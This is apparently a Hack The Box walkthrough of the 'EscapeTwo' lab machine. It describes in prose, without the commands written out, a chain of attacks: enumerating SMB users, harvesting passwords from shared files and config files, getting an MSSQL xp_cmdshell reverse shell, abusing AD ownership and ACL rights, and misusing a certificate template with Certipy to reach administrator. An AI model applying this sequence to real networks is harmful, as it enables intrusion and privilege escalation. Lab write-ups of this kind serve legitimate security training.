|_Not valid after:  2026-05-16T11:51:14
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb
| Not valid before: 2025-05-16T11:51:14
|_Not valid after:  2026-05-16T11:51:14
|_ssl-date: 2025-05-16T14:16:37+00:00; 0s from scanner time.

Analysis:

  • 53/tcp (domain): Simple DNS Plus server running, likely handling DNS requests.
  • 88/tcp (kerberos-sec): Kerberos authentication service active, indicates Active Directory environment.
  • 135/tcp (msrpc): Microsoft RPC service, used for remote procedure calls on Windows.
  • 139/tcp (netbios-ssn): NetBIOS session service, Windows file and printer sharing over SMBv1.
  • 389/tcp (ldap): LDAP service for Active Directory directory services (non-SSL).
  • 445/tcp (microsoft-ds): SMB service used for Windows file sharing and Active Directory.
  • 464/tcp (kpasswd5): Kerberos password change service.
  • 593/tcp (ncacn_http): Microsoft RPC over HTTP, potentially used for remote management.
  • 636/tcp (ssl/ldap): Secure LDAP (LDAPS) for encrypted directory access.
  • 1433/tcp (ms-sql-s): Microsoft SQL Server 2019 instance accessible, possibly exploitable.
  • 3268/tcp (ldap): Global Catalog LDAP for Active Directory, supports forest-wide queries.
  • 3269/tcp (ssl/ldap): Secure Global Catalog LDAP over SSL.

Exploitation

Samba Exploration:

If successful, it then attempts to find other user accounts by brute-forcing their ID numbers, thereby helping to identify valid users for further testing.

The output is then filtered using grep SidTypeUser Only the entries that correspond to actual user accounts will be displayed, excluding groups or system accounts. This helps the tester quickly identify valid user accounts on the target machine for further analysis or access attempts.v

It connects to the target machine at the IP address 10.10.11.51 with the smbclient tool, a command-line utility similar to an FTP client but designed for accessing SMB shares.

This list shows shared folders on a computer that others on the network can access, like shared drawers in an office.

  • Accounting Department: Likely holds financial or work files for the accounting team.
  • ADMIN$ and C$: Hidden folders for IT admins to manage the system remotely.
  • IPC$: A system tool for communication between devices, not a regular folder.
  • NETLOGON and SYSVOL: Support user login and access control in the network.
  • Users: Contains personal folders for different computer users.

The folder contains two Excel files: accounting_2024.xlsx and accounts.xlsx.

Transferring both files to our computer

We discovered a password stored within an XML file.

It looks much cleaner when using the Python command.

SQL enumeration on EscapeTwo machine

Since the Nmap results indicated that the MSSQL service is open, and the default MSSQL user (sa) Typically has the highest level of administrative privileges, so it’s worth attempting to use it. In this case, we try to enable and use the xp_cmdshell feature for further exploitation.

Let’s proceed with executing MSSQL commands.

Let’s initiate our listener.

The operation was successful, so we proceeded to enable xp_cmdshell and execute the shell command through it to confirm execution.

We established a reverse shell connection.

The SQL Server 2019 installation was found.

Begin by enumerating the local files, where you will find a configuration file located at C:\SQL2019\ExpressAdv_ENU.

Another password was found in the configuration file named sql-Configuration.INI.

Discovered several potential usernames.

SMB access was obtained as the user Ryan, which can be used for enumeration with BloodHound.

Bloodhound enumeration on escapetwo machine

We will gather additional information using BloodHound.

Once the collection was complete, I imported them into BloodHound. That’s when I found the ryan with CA_SVC account β€” one I could change the owner of.

Let’s examine Oscar’s connection.

We can see that Ryan has the WriteOwner permission on the CA_SVC account.

Using NXC, we were able to discover credentials that work with WinRM

We can read the user flag by typing β€œtype user.txt’ command

Escalate to Root Privileges Access

Privilege Escalation:

We attempted to use the owneredit.py Script to change the object ownership, but the operation failed due to an unspecified issue.

The script executed successfully after setting PYTHONPATH=… For instance, assigning ownership of an administrator account to a user like Ryan would mean he could modify settings or permissions that are normally reserved for administrators. Moreover, this change could increase Ryan’s control over the system. Therefore, it is important to carefully manage account ownership to prevent unauthorized access.

This command is used in dacledit.py to grant the user Ryan full control (FullControl) permissions over the ca_svc account. It authenticates to the domain sequel.htb using Ryan’s credentials. The -action 'write' flag specifies that a permission change is being made.

This command allows the user Ryan to quietly gain access as another account, ca_svc, by taking advantage of a weakness in how the network handles certificates.

It uses a special code (hash) instead of a password to access the account and looks for any vulnerable settings, then shows the results on the screen.

This command uses Certipy to request a special security certificate from the network’s main server (dc01.sequel.htb) using a template named DunderMifflinAuthentication.

This command requests a certificate from the sequel-DC01-CA on the domain controller DC01.sequel.htb. It uses the ca_svc account’s NT hash for authentication and asks for a certificate based on the DunderMifflinAuthentication template.

This command uses Certipy to authenticate to the domain controller at IP 10.10.11.51 using the certificate file administrator.pfx.

We read the root flag by typing the β€œtype root.txt” command

The post Hack The Box: EscapeTwo Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.

❌
❌